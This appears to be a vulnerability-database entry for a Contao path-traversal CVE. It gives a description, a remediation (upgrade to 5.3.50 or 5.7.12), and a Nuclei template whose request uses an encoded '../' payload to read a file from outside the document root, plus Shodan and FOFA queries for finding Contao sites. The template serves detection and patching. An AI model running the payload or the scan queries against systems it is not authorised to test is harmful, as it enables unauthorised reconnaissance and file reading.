CVE-2026-107844: Contao - Path Traversal via ImagesController

2026-11-29 PoC Public

Description

Contao 5.0.0 through 5.3.49 and 5.4.0 through 5.7.11 allows unauthenticated path traversal through the /assets/images/{path} route because ImagesController does not verify that a normalized path remains within the image directory. A crafted URL can retrieve project files with an allowed image extension from outside the public document root.

Details

CVE
CVE-2026-107844 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-107844

info:
  name: Contao - Path Traversal via ImagesController
  author: s4e-io
  severity: medium
  description: |
    Contao 5.0.0 through 5.3.49 and 5.4.0 through 5.7.11 allows unauthenticated path traversal through the /assets/images/{path} route because ImagesController does not verify that a normalized path remains within the image directory. A crafted URL can retrieve project files with an allowed image extension from outside the public document root.
  impact: |
    An unauthenticated attacker can read image files stored elsewhere in the Contao project, including vendor assets outside the document root, and use the route to distinguish existing from missing paths.
  remediation: |
    Upgrade Contao to 5.3.50 or later on the 5.3 branch, or to 5.7.12 or later on the newer release branch.
  reference:
    - https://github.com/contao/contao/security/advisories/GHSA-mrvp-7wmx-5m4h
    - https://github.com/contao/contao/commit/867c055122fdf12220f973f862082037b695b9bd
    - https://github.com/contao/contao/releases/tag/5.3.50
    - https://github.com/contao/contao/releases/tag/5.7.12
    - https://nvd.nist.gov/vuln/detail/CVE-2026-107844
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-107844
    epss-score: 0.00931
    epss-percentile: 0.59015
    cwe-id: CWE-22
    cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: contao
    product: contao
    shodan-query:
      - http.html:"Contao Open Source CMS"
      - http.title:"contao"
      - cpe:"cpe:2.3:a:contao:contao"
    fofa-query:
      - body="contao open source cms"
      - title="contao"
  tags: cve,cve2026,contao,path-traversal,lfi,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/images/%2e%2e/%2e%2e/vendor/symfony/error-handler/Resources/assets/images/symfony-logo.svg"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(content_type), "image/svg+xml")'
          - 'contains(cache_control, "private") && contains(cache_control, "max-age=31536000") && contains(tolower(all_headers), "contao-cache:")'
          - 'contains(body, "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\">") && contains(body, "M12 .9C5.8.9.9 5.8.9 12a11 11 0 1 0 22.2 0A11 11 0 0 0 12 .9z")'
        condition: and
# digest: 4b0a00483046022100b23f83f155663247b40ab85e72dc873e36f2985dcf20257c9f6497d6969083e2022100a121fa25926f5dc6932fc6ae01779651c56adef70dfa035ad00ffccf4f9f8a52:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life